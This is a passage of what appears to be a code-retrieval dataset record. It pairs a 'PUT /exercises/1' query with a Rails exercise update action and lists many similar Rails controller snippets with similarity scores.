}\n format.json { head :no_content }\n end\n end", "def api_v1_exercise_params\n params.fetch(:api_v1_exercise, {}).permit *Api::V1::Exercise::STRONG_PARAMETERS #I had to put tests extra\n end", "def physio_exercise_params\n params.require(:physio_exercise).permit(\n :name,\n :description,\n :client_id,\n :duration,\n :user_id\n )\n end", "def create\n @exercise_template = ExerciseTemplate.new(exercise_template_params)\n\n if @exercise_template.save\n render json: @exercise_template, status: :created, location: @exercise_template\n else\n render json: @exercise_template.errors, status: :unprocessable_entity\n end\n end", "def create\n @exercise = Exercise.new(params[:exercise].update(:company_id => current_company.id))\n #TODO agregar cuentas a un ejercicio nuevo. Seleccionar las cuentas del último ejercicio\n #@exercise.accounts = \n \n flash[:notice] = t('flash.actions.create.notice', :resource_name => Exercise.model_name.human) if @exercise.save\n respond_with(@exercise, :location => exercises_path)\n end", "def exercise_params\n params.require(:exercise).permit(:name, :notes,:base_weight)\n end", "def create\n @user = current_user\n @exercise = Exercise.new(exercise_params)\n @exercise = Exercise.where(name: @exercise.name).first_or_create(exercise_params)\n unless @user.exercises.where(name: @exercise.name).exists?\n @exercise.save\n @user.exercises << @exercise\n end\n respond_to do |format|\n if @user.save\n format.html { redirect_to user_exercises_path, notice: 'Exercise was successfully created.' }\n format.json { render :show, status: :created, location: @exercise }\n else\n format.html { render :new }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @exercise = Exercise.setup\n respond_with(@exercise)\n end", "def destroy\n @api_v1_exercise.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_exercises_url, notice: 'Exercise was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def create\n @exercise = Exercise.new(params[:exercise])\n @exercise.lecture_id = params[:lecture_id]\n @exercise.clclass_id = params[:clclass_id]\n\n respond_to do |format|\n if @exercise.save\n format.html { redirect_to [@clclass,@exercise], notice: 'Exercise was successfully created.' }\n format.json { render json: @exercise, status: :created, location: @exercise }\n else\n format.html { render action: \"new\" }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @patient_exercise = PatientExercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @patient_exercise }\n end\n end", "def index\n @exercises = Exercise.all\n @user = current_user # changed get logged user\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exercises }\n end\n end", "def new\n @daily_exercise = DailyExercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @daily_exercise }\n end\n end", "def create\n @tutorial_quest = Tutorial::Quest.new(params[:tutorial_quest])\n\n respond_to do |format|\n if @tutorial_quest.save\n format.html { redirect_to @tutorial_quest, notice: 'Quest was successfully created.' }\n format.json { render json: @tutorial_quest, status: :created, location: @tutorial_quest }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tutorial_quest.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url, notice: \"Exercise was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url, notice: 'Exercise was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url, notice: 'Exercise was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def create\n @workout = Workout.new(workout_params)\n if user_signed_in?\n @workout.owner = current_user\n @workout.users << current_user\n else\n @workout.owner = temp_user\n session[:workout_id] = @workout.id\n end \n @workout.save\n ex_params = exercise_params[:exercise].map do |e|\n e[:dur] = e[:dur][:minutes].to_i*60 + e[:dur][:seconds].to_i\n e[:workout_id] = @workout.id\n e\n end\n @exercises = @workout.exercises.create(ex_params)\n\n respond_to do |format|\n if @workout.save\n format.html { redirect_to @workout, notice: \"Workout was successfully created\" }\n format.json { render json: {workoutId: @workout.id}, status: 200 }\n else\n format.html { render :new }\n format.json { render json: @workout.errors, status: 500 }\n end\n end\n end", "def destroy\n @oncourse_exercise.destroy\n respond_to do |format|\n format.html { redirect_to oncourse_exercises_url }\n format.json { head :no_content }\n end\n end", "def index\n @exercises = Exercise.paginate(:page => params[:page], :per_page => 10).order('created_at DESC')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @exercises }\n end\n end", "def performed_exercise_params\n params.require(:performed_exercise).permit(:exercise_type_id, :duration, :calories_burned, :done_on)\n end", "def new\n @exercise_instruction = ExerciseInstruction.new\n @exercise_instruction.exercise_id = params[:exercise_id]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise_instruction }\n end\n end", "def create\n @exercise_log = ExerciseLog.new(params[:exercise_log])\n\n respond_to do |format|\n if @exercise_log.save\n format.html { redirect_to @exercise_log, notice: 'Exercise log was successfully created.' }\n format.json { render json: @exercise_log, status: :created, location: @exercise_log }\n else\n format.html { render action: \"new\" }\n format.json { render json: @exercise_log.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @exercise_instruction = ExerciseInstruction.new(params[:exercise_instruction])\n @exercise_instruction.user_id = current_user.id\n\n respond_to do |format|\n if @exercise_instruction.save\n format.html { redirect_to @exercise_instruction.exercise, notice: 'Note was successfully created.' }\n format.json { render json: @exercise_instruction, status: :created, location: @exercise_instruction }\n else\n format.html { render action: \"new\" }\n format.json { render json: @exercise_instruction.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tutorials = Tutorial.all\n @tutorial = Tutorial.new(tutorial_params)\n\n if @tutorial.save\n render json: @tutorial\n else\n render json: @tutorial.errors.full_messages, status:400\n end\n end", "def destroy\n @performed_exercise.destroy\n respond_to do |format|\n format.html { redirect_to performed_exercises_url, notice: 'Performed exercise was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def set_api_v1_exercise\n @api_v1_exercise = Api::V1::Exercise.find(params[:id])\n end", "def set_api_v1_exercise\n @api_v1_exercise = Api::V1::Exercise.find(params[:id])\n end", "def oncourse_exercise_params\n\n params.require(:oncourse_exercise).permit(:date, :prac_id, :change_agent_id, :precondition, :technique, :postcondition, :tti_date, :tti_days, :test, :futurepacing, :coach_name)\n end", "def create\n json = params[:survey]\n json[:questions] = JSON.parse(json[:questions])\n json[:questions].each_with_index do |question, idx|\n json[:questions][idx]['id'] = idx + 1\n end\n @survey = Survey.new(json)\n respond_to do |format|\n if @survey.save\n format.html { redirect_to @survey, notice: 'Survey was successfully created.' }\n format.json { render json: @survey, status: :created, location: @survey }\n else\n format.html { render action: \"new\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "def exercise_name_params\n params.require(:exercise_name).permit(:name)\n end", "def show\n render json: @exercise_template\n end", "def index\n @programme_exercises = ProgrammeExercise.all\n end", "def index\n @oncourse_exercises = OncourseExercise.all\n\n\n\n end", "def destroy\n @do_exercise = DoExercise.find(params[:id])\n @do_exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to do_exercises_url }\n format.json { head :no_content }\n end\n end", "def new\n @exercise_log = ExerciseLog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise_log }\n end\n end", "def create\n @exam = Exam.new(params[:exam])\n\n respond_to do |format|\n if @exam.save\n format.html { redirect_to @exam, notice: 'Exam was successfully created.' }\n format.json { render json: @exam, status: :created, location: @exam }\n else\n format.html { render action: \"new\" }\n format.json { render json: @exam.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @programme_exercise.destroy\n respond_to do |format|\n format.html { redirect_to programme_exercises_url }\n format.json { head :no_content }\n end\n end", "def create\n @exercise_category = ExerciseCategory.new(params[:exercise_category])\n\n respond_to do |format|\n if @exercise_category.save\n format.html { redirect_to @exercise_category, notice: 'Exercise category was successfully created.' }\n format.json { render json: @exercise_category, status: :created, location: @exercise_category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @exercise_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def programme_exercise_params\n params.require(:programme_exercise).permit(:programme_id, :exercise_id, :exercise_id, :order, :time, :rest, :sets, :time_per_set)\n end", "def new\n @exercice = Exercice.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercice }\n end\n end", "def show\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise }\n end\n end", "def show\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise }\n end\n end", "def create\n # puts params\n questions = JSON.parse(params[:questions])\n q_hash = questions[\"questions\"]\n @assignment = Assignment.new\n @assignment.course_id = params[:course_id]\n @assignment.type = \"Homework\"\n @assignment.start_date = params[:start_date]\n @assignment.end_date = params[:end_date]\n @assignment.name = params[:name]\n # Following is the question hash\n q_hash.each do |key, value|\n a_hash = key[\"answers\"]\n question = key[\"question\"]\n puts question\n new_question = Question.new\n new_question.description = question\n new_question.type = \"MultipleChoice\"\n # Answer hash\n a_hash.each do |k,v|\n puts k[\"is_correct\"]\n puts k[\"description\"]\n new_answer = Answer.new\n new_answer.description = k[\"description\"]\n new_answer.is_correct = k[\"is_correct\"]\n new_question.association(:answers).add_to_target(new_answer)\n end\n @assignment.association(:questions).add_to_target(new_question)\n end\n \n if @assignment.save\n render :show, status: :created, location: @assignment\n else\n render json: @assignment.errors, status: :unprocessable_entity\n end\n end", "def index\n @user = User.find(params[:user_id])\n @exercises = @user.exercises.all\n end", "def create\n @room = Room.new(room_params)\n \n respond_to do |format|\n if @room.save\n trivia_category = (@room.category.eql? \"any\") ? '' : \"category=\" + @room.category\n \n questions_response = RestClient::Request.execute(\n method: :get,\n url: 'https://opentdb.com/api.php?amount=7&type=multiple&' + trivia_category\n )\n questions = JSON.parse(questions_response)['results']\n\n questions.each do |question|\n Question.create(\n :problem => question['question'],\n :category => question['category'],\n :correct_answer => question[\"correct_answer\"],\n :incorrect_answer_one => question[\"incorrect_answers\"][0],\n :incorrect_answer_two => question[\"incorrect_answers\"][1],\n :incorrect_answer_three => question[\"incorrect_answers\"][2],\n :room_id => @room.id\n )\n end\n format.html { redirect_to @room, notice: 'Room was successfully created.' }\n format.json { render :show, status: :created, location: @room }\n else\n format.html { render :new }\n format.json { render json: @room.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_exercise\n @exercise = Exercise.find(params[:id])\n end" ]
[ "0.7109185", "0.70962274", "0.70019597", "0.69918406", "0.6982696", "0.6879251", "0.6862878", "0.6811362", "0.66803247", "0.6631677", "0.6548024", "0.6527623", "0.6509552", "0.6453499", "0.6453499", "0.6453499", "0.6453499", "0.64214003", "0.64120775", "0.6391337", "0.63911957", "0.6382996", "0.6363269", "0.6357607", "0.63459635", "0.63356954", "0.63356954", "0.6303029", "0.628884", "0.6282776", "0.6281969", "0.6276768", "0.6239176", "0.62323433", "0.6213526", "0.6167401", "0.61227494", "0.6120827", "0.6118863", "0.61153275", "0.61076903", "0.6060917", "0.60548407", "0.6053949", "0.6018808", "0.6008048", "0.5987647", "0.5979285", "0.5979285", "0.5949174", "0.59241986", "0.5917649", "0.5900787", "0.5893272", "0.5890298", "0.5882878", "0.58358777", "0.5824334", "0.58074486", "0.5797917", "0.5777598", "0.57528734", "0.57403624", "0.57401603", "0.57401603", "0.57401603", "0.57401603", "0.57318574", "0.57291085", "0.57291085", "0.57192945", "0.5716063", "0.57096016", "0.56814486", "0.56786585", "0.5678054", "0.56572294", "0.56554747", "0.5654664", "0.56484634", "0.56484634", "0.564663", "0.56412333", "0.5630925", "0.5629905", "0.5597357", "0.55953676", "0.55885196", "0.5577634", "0.5575717", "0.5571508", "0.55454314", "0.55362904", "0.55307204", "0.55102175", "0.55102175", "0.55079496", "0.5504837", "0.5500487", "0.5500358" ]
0.6856047
7
PUT /exercises/1 PUT /exercises/1.json
def update @exercise = Exercise.find(params[:id]) respond_to do |format| if @exercise.update_attributes(params[:exercise]) flash[:class] = "alert alert-success" format.html { redirect_to @exercise, :notice => 'exercise was successfully updated.' } format.json { head :no_content } else format.html { render :action => "edit" } format.json { render :json => @exercise.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n respond_to do |format|\n if @api_v1_exercise.update(api_v1_exercise_params)\n format.html { redirect_to @api_v1_exercise, notice: 'Exercise was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_exercise }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n if @exercise.update_attributes(params[:exercise])\n format.html { redirect_to @exercise, :notice => 'exercise was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @exercise.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n if @exercise.update_attributes(params[:exercise])\n format.html { redirect_to @exercise, notice: 'Exercise was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n if @exercise.update_attributes(params[:exercise])\n format.html { redirect_to @exercise, notice: 'Exercise was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n if @exercise.update_attributes(params[:exercise])\n format.html { redirect_to @exercise, notice: 'Exercise was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @exercise.update(exercise_params)\n format.html { redirect_to @exercise, notice: I18n.t('exercises.updated') }\n format.json { render :show, status: :ok, location: @exercise }\n else\n format.html { render :edit }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_api_v1_exercise\n @api_v1_exercise = Api::V1::Exercise.find(params[:id])\n end", "def set_api_v1_exercise\n @api_v1_exercise = Api::V1::Exercise.find(params[:id])\n end", "def update\n respond_to do |format|\n if @exercise.update(exercise_params)\n format.html { redirect_to @exercise, notice: 'Exercise was successfully updated.' }\n format.json { render :show, status: :ok, location: @exercise }\n else\n format.html { render :edit }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @exercise.update(exercise_params)\n format.html { redirect_to @exercise, notice: 'Exercise was successfully updated.' }\n format.json { render :show, status: :ok, location: @exercise }\n else\n format.html { render :edit }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @exercise.update(exercise_params)\n format.html { redirect_to @exercise, notice: \"Exercise was successfully updated.\" }\n format.json { render :show, status: :ok, location: @exercise }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n if @exercise.update_attributes(params[:exercise])\n format.html { redirect_to [@clclass,@exercise], notice: 'Exercise was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: [@clclass,@exercise].errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n if @exercise.update_attributes(params[:exercise])\n format.html { redirect_to(@exercise, :notice => 'Exercise was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @exercise.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @exercise_set = ExerciseSet.find(params[:id])\n\n respond_to do |format|\n if @exercise_set.update_attributes(params[:exercise_set])\n format.html { redirect_to @exercise_set.workout, notice: 'Exercise set was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @exercise_set.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @do_exercise = DoExercise.find(params[:id])\n\n respond_to do |format|\n if @do_exercise.update_attributes(params[:do_exercise])\n format.html { redirect_to @do_exercise, notice: 'Do exercise was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @do_exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def edit\n respond_with(@exercise)\n end", "def update\n respond_to do |format|\n if @exerciseoverview.update(exerciseoverview_params)\n format.html { redirect_to @exerciseoverview, notice: 'Exerciseoverview was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @exerciseoverview.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @patient_exercise = PatientExercise.find(params[:id])\n\n respond_to do |format|\n if @patient_exercise.update_attributes(params[:patient_exercise])\n format.html { redirect_to @patient_exercise, notice: 'Patient exercise was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patient_exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @exercise_instruction = ExerciseInstruction.find(params[:id])\n\n respond_to do |format|\n if @exercise_instruction.update_attributes(params[:exercise_instruction])\n format.html { redirect_to @exercise_instruction.exercise, notice: 'Note was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @exercise_instruction.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @api_v1_exercise = Api::V1::Exercise.new(api_v1_exercise_params)\n\n respond_to do |format|\n if @api_v1_exercise.save\n format.html { redirect_to @api_v1_exercise, notice: 'Exercise was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_exercise }\n else\n format.html { render :new }\n format.json { render json: @api_v1_exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @my_exercise = MyExercise.find(params[:id])\n\n respond_to do |format|\n if @my_exercise.update_attributes(params[:my_exercise])\n flash[:notice] = 'MyExercise was successfully updated.'\n format.html { redirect_to(@my_exercise) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @my_exercise.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_exercise\n @exercise = Exercise.find(params[:id])\n end", "def set_exercise\n @exercise = Exercise.find(params[:id])\n end", "def set_exercise\n @exercise = Exercise.find(params[:id])\n end", "def set_exercise\n @exercise = Exercise.find(params[:id])\n end", "def set_exercise\n @exercise = Exercise.find(params[:id])\n end", "def set_exercise\n @exercise = Exercise.find(params[:id])\n end", "def set_exercise\n @exercise = Exercise.find(params[:id])\n end", "def set_exercise\n @exercise = Exercise.find(params[:id])\n end", "def set_exercise\n @exercise = Exercise.find(params[:id])\n end", "def update\n respond_to do |format|\n if @exercise_name.update(exercise_name_params)\n format.html { redirect_to @exercise_name, notice: 'Exercise name was successfully updated.' }\n format.json { render :show, status: :ok, location: @exercise_name }\n else\n format.html { render :edit }\n format.json { render json: @exercise_name.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @exercise.update(exercise_params)\n format.html { redirect_to exercise_weight_logs_path(@exercise), notice: 'Exercise was successfully updated.' }\n format.json { render :show, status: :ok, location: @exercise }\n else\n format.html { render :edit }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @performed_exercise.update(performed_exercise_params)\n format.html { redirect_to @performed_exercise, notice: 'Performed exercise was successfully updated.' }\n format.json { render :show, status: :ok, location: @performed_exercise }\n else\n format.html { render :edit }\n format.json { render json: @performed_exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @exercice = Exercice.find(params[:id])\n\n respond_to do |format|\n if @exercice.update_attributes(params[:exercice])\n format.html { redirect_to @exercice, notice: 'Exercice was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @exercice.errors, status: :unprocessable_entity }\n end\n end\n end", "def edit\n @exercise = current_user.exercises.find_by_id(params[:id])\n unless @exercise\n flash[:error] = \"You can't edit exercises that don't belong to you\"\n redirect_to :action => 'index'\n end\n @title = 'Edit Exercise'\n end", "def update\n flash[:notice] = t('flash.actions.update.notice', :resource_name => Exercise.model_name.human) if @exercise.update_attributes(params[:exercise])\n respond_with(@exercise, :location => exercises_path)\n end", "def update\n respond_to do |format|\n if @programme_exercise.update(programme_exercise_params)\n format.html { redirect_to @programme_exercise, notice: 'Programme exercise was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @programme_exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @exercise_task.update(exercise_task_params)\n format.html { redirect_to @exercise_task, notice: 'Exercise task was successfully updated.' }\n format.json { render :show, status: :ok, location: @exercise_task }\n else\n format.html { render :edit }\n format.json { render json: @exercise_task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @solution = @idea.solutions.find(params[:id])\n\n if @solution.update_attributes(params[:solution])\n render json: { text: \"success\" }\n else\n render json: { text: \"fail\"}\n end\n end", "def set_exercise\n @exercise = current_user.exercises.find_by(id: params[:id])\n end", "def update\n owner = @workout.owner\n unless owner == current_user or owner == temp_user\n redirect_to \"/\", alert: \"Permission Denied.\"\n end\n @workout.update(workout_params)\n @workout.exercises.destroy_all\n\n ex_params = exercise_params[:exercise].map do |e|\n e[:dur] = e[:dur][:minutes].to_i*60 + e[:dur][:seconds].to_i\n e[:workout_id] = @workout.id\n e\n end\n @exercises = @workout.exercises.create(ex_params)\n \n respond_to do |format|\n if @workout.save\n format.html { redirect_to @workout, notice: 'Workout was successfully updated.' }\n format.json { render json: {workoutId: @workout.id}, status: 200 }\n else\n format.html { render :edit }\n format.json { render json: @workout.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @daily_exercise = DailyExercise.find(params[:id])\n\n respond_to do |format|\n if @daily_exercise.update_attributes(params[:daily_exercise])\n format.html { redirect_to @daily_exercise, notice: 'Daily exercise was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @daily_exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_v1_exercise.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_exercises_url, notice: 'Exercise was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def update\n @exercise_log = ExerciseLog.find(params[:id])\n\n respond_to do |format|\n if @exercise_log.update_attributes(params[:exercise_log])\n format.html { redirect_to @exercise_log, notice: 'Exercise log was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @exercise_log.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @exercise_category = ExerciseCategory.find(params[:id])\n \n respond_to do |format|\n if @exercise_category.update_attributes(params[:exercise_category])\n format.html { redirect_to exercise_categories_path }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @exercise_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def exercise_params\n params.require(:exercise).permit(:workout_id, :title, :sets, :reps)\n end", "def api_v1_exercise_params\n params.fetch(:api_v1_exercise, {}).permit *Api::V1::Exercise::STRONG_PARAMETERS #I had to put tests extra\n end", "def api_v1_exercise_params\n params.require(:api_v1_exercise).permit(:title, :description, :deadline, :visible_date, :do_plagiarism_check, :exercise_test, :exercise_hidden_test, :exercise_stub)\n end", "def update\n @exercises = Exercise.where(id: params[:routine][:exercise_ids])\n @session = Session.find(params[:session_id])\n @new_routine = Routine.find_or_initialize_by_exercise_ids(params[:routine][:exercise_ids])\n\n\n @new_routine.description = \"Routine ##{Routine.all.count + 1}\"\n\n if @new_routine.id.nil?\n @new_routine.gym_id = current_gym.id\n end\n\n respond_to do |format|\n if @new_routine.save\n @session.routine = @new_routine\n @session.save\n format.html { redirect_to @routine, notice: 'Routine was successfully updated.' }\n format.json { head :no_content }\n format.js\n else\n format.html { render action: 'edit' }\n format.json { render json: @routine.errors, status: :unprocessable_entity }\n end\n end\n end", "def put!\n request! :put\n end", "def update\n @exercise_template = ExerciseTemplate.find(params[:id])\n\n if @exercise_template.update(exercise_template_params)\n head :no_content\n else\n render json: @exercise_template.errors, status: :unprocessable_entity\n end\n end", "def update\n @exam = Exam.find(params[:id])\n\n respond_to do |format|\n if @exam.update_attributes(params[:exam])\n format.html { redirect_to @exam, notice: 'Exam was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @exam.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @exercise = Exercise.new(params[:exercise])\n\n respond_to do |format|\n if @exercise.save\n format.html { redirect_to @exercise, :notice => 'exercise was successfully created.' }\n format.json { render :json => @exercise, :status => :created, :location => @exercise }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @exercise.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @todo = Todo.find(params[:id])\n @todo.update_attributes(params[:todo])\n render :json => @todo\n end", "def update\n @exam = Exam.find(params[:id])\n\n respond_to do |format|\n if @exam.update_attributes(params[:exam])\n format.html { redirect_to exams_path, notice: 'Exam was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @exam.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n #puts params\n #params[:exercise][:published] = params[:exercise][:published] == \"true\" ? true : false\n #puts params\n respond_to do |format|\n if @exercise.update(exercise_params)\n format.html { redirect_to @exercise, notice: 'Uebung was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @exercise_category = ExerciseCategory.find(params[:id])\n\n respond_to do |format|\n if @exercise_category.update_attributes(params[:exercise_category])\n format.html { redirect_to @exercise_category, notice: 'Exercise category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @exercise_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def exercise_params\n params.require(:exercise).permit(:name, :description, :time, :workout_id)\n end", "def update\n\n respond_to do |format|\n if @lecture.update(lecture_params)\n format.html { redirect_to lectures_url }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @lecture.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @api_v1_exercises = Api::V1::Exercise.all\n end", "def update\n respond_to do |format|\n if @api_v1_todo.update(api_v1_todo_params)\n format.json { render json: @api_v1_todo, status: :ok }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def create\n @exercise = Exercise.new(params[:exercise])\n\n respond_to do |format|\n if @exercise.save\n format.html { redirect_to @exercise, notice: 'Exercise was successfully created.' }\n format.json { render json: @exercise, status: :created, location: @exercise }\n else\n format.html { render action: \"new\" }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @todo = Todo.find(params[:id])\n if @todo.update(todo_params)\n render json: @todo\n else\n render json: @todo.errors, status: :unprocessable_entity\n end\n end", "def update\n @intake_question = IntakeQuestion.find(params[:id])\n\n respond_to do |format|\n if @intake_question.update_attributes(params[:intake_question])\n format.html { redirect_to @intake_question, notice: 'Intake question was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @intake_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def exercise_params\n params.require(:exercise).permit(:name)\n end", "def update\n @tutorial = Tutorial.find(params[:id])\n\n respond_to do |format|\n if @tutorial.update_attributes(params[:tutorial])\n format.html { redirect_to @tutorial, notice: 'Tutorial was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tutorial.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tutorial = 